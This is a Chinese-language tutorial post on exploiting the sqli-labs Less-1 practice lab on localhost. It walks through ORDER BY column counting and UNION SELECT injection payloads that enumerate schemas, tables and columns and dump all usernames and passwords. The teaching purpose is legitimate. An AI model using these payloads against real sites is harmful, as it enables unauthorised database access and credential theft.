知道了数据库注入怎么用了,就让我们更深入吧ヾ(≧▽≦*)o
利用group查询列数
从昨天的Less-1继续讲吧,我们知道id周围有个’'这两个符号,我们想加点菜最好围绕着id=1’后面加菜
怎么样加菜才能知道列数呢?
当然是利用order by啦,这个是指定的列进行排序.
所以我们要在后面加上order by 数字,就可以知道是几列了
那么让我们加点菜吧,直接试一下是不是4列
http://localhost:88/Less-1/?id=1’ order by 4 --+
欸?没有4列,那就3列试试
http://localhost:88/Less-1/?id=1’ order by 3 --+
诶?数据有3列
那么让我们换一种方式试一下
http://localhost:88/Less-1/?id=-1’ union select 1,2,3 --+
数据怎么变成了用户为2 密码为3呢?之前不是dump吗?
不要着急,我们不妨去数据库后台看看
我们先进行执行两个语句看看,先执行union前面的,为空数据
执行后面的语句试试
返回了个1,2,3
你可能会问,不对啊,你写的id是-1啊,但凡学点数据库的都知道从0开始,你为什么不在id后面写上1呢?
那让我们把-1改成1试试
结果正常了,但这个仍不是我想要的结果,为何?
因为我只是想知道他有多少列
那么你有可能会蒙了,那为啥改成-1呢?
因为我们想要开发者想查到的让他查不到,从而改成我们想要查到的.
那么这是怎么实现的呢?
不着急,我们不妨看一下源代码
问题就出在这句话
他只要第一行,你返回两句它也是只要第一句话啊
为啥又变成两行了,因为union是联合查询,会把两次查询的语句合在一起发送过去.一行是开发者想要查到的,一个是我们想要查到的
但 **mysql_fetch_array()**只认第一行
所以我们要让开发者想要查到的查不到,直接转为我们想要查到的输出结果即可
这就是为何在id后面改成了-1,因为第一行的数据转为了我们想要的数据.
知道了-1怎么来的,那么接下来语句就很好理解了
正菜开始:
- 爆出表名,列名,字段,用户名和密码。
http://localhost:88/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+
原谅我这是在我的云服务器里弄的,所以要打上很厚的码
在这里我们看一下数据库,我们知道union前面的select是返回空值,主要是后面的查询了
话不多说,直接去后台数据库看一眼
有些眼尖的同学可能会问后面的 --+怎么不见了,因为–在sql中是打注释,后面的直接不执行,而加号在url中变成了空格,我们可以去看看转送了什么数据
是的,加号消失了,我们加深下颜色看看
后面变深的似乎还有一个空格,这便是加号的存在意义了
- 爆当前security数据库的表
http://localhost:88/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
去后台看看数据库查到了什么
select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
所有的表都在上面了
- 爆user表的列
http://localhost:88/Less-1?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
查看后台数据库
select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
- 爆所有用户名和密码
http:/localhost:88/Less-1/?id=-1’ union select 1,group_concat(concat_ws(‘:’,username,password)),3 from users --+
后台数据库查询
select 1,group_concat(concat_ws(':',username,password)),3 from users
你学废了吗?